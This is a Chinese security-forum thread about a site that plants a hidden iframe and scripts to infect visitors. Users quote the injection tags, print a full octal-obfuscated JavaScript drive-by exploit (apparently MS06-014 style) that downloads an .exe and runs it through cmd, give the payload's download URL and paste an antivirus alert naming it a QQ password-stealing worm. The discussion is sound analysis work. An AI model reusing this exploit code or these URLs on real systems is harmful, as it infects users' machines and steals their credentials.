毒网一个:http://www.yoyo59.com

xqiafl

刚刚去找网马解密,意外的发现,不过,都加密了. 可以解开,只不过,没工具.手动解,太麻烦了!

挂马地址:<iframe src=" http://www.yoyo59.com/m22.htm?28" width="0" height="0"

<script src=http://www.yoyo59.com/00.js></script>

<script src=http://www.yoyo59.com/11.js></script>  --->这个里面没发现

00.JS

eval("\146\165\156\143\164\151\157\156\40\147\156\50\164\156\126\61\51\40\173\40\166\141\162\40\153\125\172\122\157\62\40\75\40\167\151\156\144\157\167\133\42\134\170\64\144\134\170\66\61\134\170\67\64\134\170\66\70\42\135\133\42\134\170\67\62\134\170\66\61\134\170\66\145\134\170\66\64\134\170\66\146\134\170\66\144\42\135\50\51\52\164\156\126\61\73\40\162\145\164\165\162\156\40\47\134\170\67\145\134\170\67\64\134\170\66\144\134\170\67\60\47\53\47\134\170\62\145\134\170\67\64\134\170\66\144\134\170\67\60\47\73\40\175\40\164\162\171\40\173\40\144\154\75\47\134\170\66\70\134\170\67\64\134\170\67\64\134\170\67\60\134\170\63\101\134\170\62\106\134\170\62\106\134\170\67\67\134\170\67\67\134\170\67\67\134\170\62\105\134\170\66\64\134\170\66\106\134\170\67\67\134\170\66\105\134\170\63\70\134\170\63\71\134\170\62\105\134\170\66\63\134\170\66\106\134\170\66\104\134\170\62\106\134\170\63\60\134\170\62\105\134\170\66\65\134\170\67\70\134\170\66\65\47\73\40\166\141\162\40\15\12\15\12\144\146\75\167\151\156\144\157\167\133\42\134\170\66\64\134\170\66\146\134\170\66\63\134\170\67\65\134\170\66\144\134\170\66\65\134\170\66\145\134\170\67\64\42\135\133\42\134\170\66\63\134\170\67\62\134\170\66\65\134\170\66\61\134\170\67\64\134\170\66\65\134\170\64\65\134\170\66\143\134\170\66\65\134\170\66\144\134\170\66\65\134\170\66\145\134\170\67\64\42\135\50\42\134\170\66\146\134\170\66\62\134\170\66\141\134\170\66\65\134\170\66\63\134\170\67\64\42\51\73\40\144\146\133\42\134\170\67\63\134\170\66\65\134\170\67\64\134\170\64\61\134\170\67\64\134\170\67\64\134\170\67\62\134\170\66\71\134\170\66\62\134\170\67\65\134\170\67\64\134\170\66\65\42\135\50\42\134\170\66\63\134\170\66\143\134\170\66\61\134\170\67\63\134\170\67\63\134\170\66\71\134\170\66\64\42\54\42\134\170\66\63\134\170\66\143\134\170\67\63\134\170\66\71\134\170\66\64\134\170\63\141\134\170\64\62\134\170\64\64\134\170\63\71\134\170\63\66\134\170\64\63\134\170\63\65\134\170\63\65\134\170\63\66\134\170\62\144\134\170\63\66\134\170\63\65\134\170\64\61\134\170\63\63\134\170\62\144\134\170\63\61\134\170\63\61\134\170\64\64\134\170\63\60\134\170\62\144\134\170\63\71\134\170\63\70\134\170\63\63\134\170\64\61\134\170\62\144\134\170\63\60\134\170\63\60\134\170\64\63\134\170\63\60\134\170\63\64\134\170\64\66\134\170\64\63\134\170\63\62\134\170\63\71\134\170\64\65\134\170\63\63\134\170\63\66\42\51\73\40\166\141\162\40\15\12\15\12\170\75\144\146\133\42\134\170\64\63\134\170\67\62\134\170\66\65\134\170\66\61\134\170\67\64\134\170\66\65\134\170\64\146\134\170\66\62\134\170\66\141\134\170\66\65\134\170\66\63\134\170\67\64\42\135\50\42\134\170\64\144\134\170\66\71\134\170\66\63\134\170\67\62\134\170\66\146\134\170\67\63\134\170\66\146\134\170\66\66\134\170\67\64\134\170\62\145\134\170\65\70\42\53\42\134\170\64\144\42\53\42\134\170\64\143\42\53\42\134\170\64\70\42\53\42\134\170\65\64\42\53\42\134\170\65\64\42\53\42\134\170\65\60\42\54\42\42\51\73\40\166\141\162\40\163\125\116\125\63\75\144\146\133\42\134\170\64\63\134\170\67\62\134\170\66\65\134\170\66\61\134\170\67\64\134\170\66\65\134\170\64\146\134\170\66\62\134\170\66\141\134\170\66\65\134\170\66\63\134\170\67\64\42\135\50\42\134\170\64\61\134\170\66\64\134\170\66\146\134\170\66\64\134\170\66\62\134\170\62\145\134\170\65\63\134\170\67\64\134\170\67\62\134\170\66\65\134\170\66\61\134\170\66\144\42\54\42\42\51\73\40\163\125\116\125\63\133\42\134\170\67\64\134\170\67\71\134\170\67\60\134\170\66\65\42\135\75\61\73\40\170\133\42\134\170\66\146\134\170\67\60\134\170\66\65\134\170\66\145\42\135\50\42\134\170\64\67\134\170\64\65\134\170\65\64\42\54\40\15\12\15\12\144\154\54\60\51\73\40\170\133\42\134\170\67\63\134\170\66\65\134\170\66\145\134\170\66\64\42\135\50\51\73\40\146\156\141\155\145\61\75\147\156\50\61\60\60\60\60\51\73\40\166\141\162\40\163\156\64\75\144\146\133\42\134\170\64\63\134\170\67\62\134\170\66\65\134\170\66\61\134\170\67\64\134\170\66\65\134\170\64\146\134\170\66\62\134\170\66\141\134\170\66\65\134\170\66\63\134\170\67\64\42\135\50\42\134\170\65\63\134\170\66\63\134\170\67\62\134\170\66\71\134\170\67\60\134\170\67\64\134\170\66\71\134\170\66\145\134\170\66\67\134\170\62\145\134\170\64\66\134\170\66\71\134\170\66\143\134\170\66\65\134\170\65\63\134\170\67\71\134\170\67\63\134\170\67\64\134\170\66\65\134\170\66\144\134\170\64\146\134\170\66\62\134\170\66\141\134\170\66\65\134\170\66\63\134\170\67\64\42\54\42\42\51\73\40\166\141\162\40\115\157\150\110\154\163\65\75\163\156\64\133\42\134\170\64\67\134\170\66\65\134\170\67\64\134\170\65\63\134\170\67\60\134\170\66\65\134\170\66\63\134\170\66\71\134\170\66\61\134\170\66\143\134\170\64\66\134\170\66\146\134\170\66\143\134\170\66\64\134\170\66\65\134\170\67\62\42\135\50\60\51\73\40\15\12\15\12\146\156\141\155\145\61\75\40\163\156\64\133\42\134\170\64\62\134\170\67\65\134\170\66\71\134\170\66\143\134\170\66\64\134\170\65\60\134\170\66\61\134\170\67\64\134\170\66\70\42\135\50\115\157\150\110\154\163\65\54\146\156\141\155\145\61\51\73\40\163\125\116\125\63\133\42\134\170\64\146\134\170\67\60\134\170\66\65\134\170\66\145\42\135\50\51\73\163\125\116\125\63\133\42\134\170\65\67\134\170\67\62\134\170\66\71\134\170\67\64\134\170\66\65\42\135\50\170\133\42\134\170\67\62\134\170\66\65\134\170\67\63\134\170\67\60\134\170\66\146\134\170\66\145\134\170\67\63\134\170\66\65\134\170\64\62\134\170\66\146\134\170\66\64\134\170\67\71\42\135\51\73\40\163\125\116\125\63\133\42\134\170\65\63\134\170\66\61\134\170\67\66\134\170\66\65\134\170\65\64\134\170\66\146\134\170\64\66\134\170\66\71\134\170\66\143\134\170\66\65\42\135\50\146\156\141\155\145\61\54\62\51\73\40\163\125\116\125\63\133\42\134\170\64\63\134\170\66\143\134\170\66\146\134\170\67\63\134\170\66\65\42\135\50\51\73\40\166\141\162\40\131\166\103\142\165\110\66\75\144\146\133\42\134\170\64\63\134\170\67\62\134\170\66\65\134\170\66\61\134\170\67\64\134\170\66\65\134\170\64\146\134\170\66\62\134\170\66\141\134\170\66\65\134\170\66\63\134\170\67\64\42\135\15\12\15\12\50\42\134\170\65\63\134\170\66\70\134\170\66\65\134\170\66\143\134\170\66\143\134\170\62\145\134\170\64\61\134\170\67\60\134\170\67\60\134\170\66\143\134\170\66\71\134\170\66\63\134\170\66\61\134\170\67\64\134\170\66\71\134\170\66\146\134\170\66\145\42\54\42\42\51\73\40\145\170\160\61\75\163\156\64\133\42\134\170\64\62\134\170\67\65\134\170\66\71\134\170\66\143\134\170\66\64\134\170\65\60\134\170\66\61\134\170\67\64\134\170\66\70\42\135\50\115\157\150\110\154\163\65\53\47\134\134\134\170\67\63\134\170\67\71\134\170\67\63\134\170\67\64\134\170\66\65\134\170\66\144\134\170\63\63\134\170\63\62\47\54\47\134\170\66\63\134\170\66\144\134\170\66\64\134\170\62\145\134\170\66\65\134\170\67\70\134\170\66\65\47\51\73\40\131\166\103\142\165\110\66\133\42\134\170\65\63\134\170\66\70\134\170\66\65\134\170\66\143\134\170\66\143\134\170\64\65\134\170\67\70\134\170\66\65\134\170\66\63\134\170\67\65\134\170\67\64\134\170\66\65\42\135\50\145\170\160\61\54\47\40\134\170\62\146\134\170\66\63\40\47\53\146\156\141\155\145\61\54\42\42\54\42\134\170\66\146\134\170\67\60\134\170\66\65\134\170\66\145\42\54\60\51\73\40\175\40\15\12\15\12\143\141\164\143\150\50\151\51\40\173\40\151\75\61\73\40\175")

估计又是MS06014之类的!! 有工具可以用工具解,没工具的用手解也行!!

idiedd

下载0.exe

solcroft

http://www.down89.com/0.exe

微点卫士

微点：
蠕虫名称:Worm.Win32.QQPass.o

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMPORARY INTERNET FILES\CONTENT.IE5\U40OL0KE\0[1].EXE
是蠕虫程序!
已成功阻止其运行,是否要删除此文件?
蠕虫名称:Worm.Win32.QQPass.o

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\0.EXE
是蠕虫程序!
已成功阻止其运行,是否要删除此文件?

下载的时候居然报了，微点什么时候可以这么报的

sukaier1982

打不开网页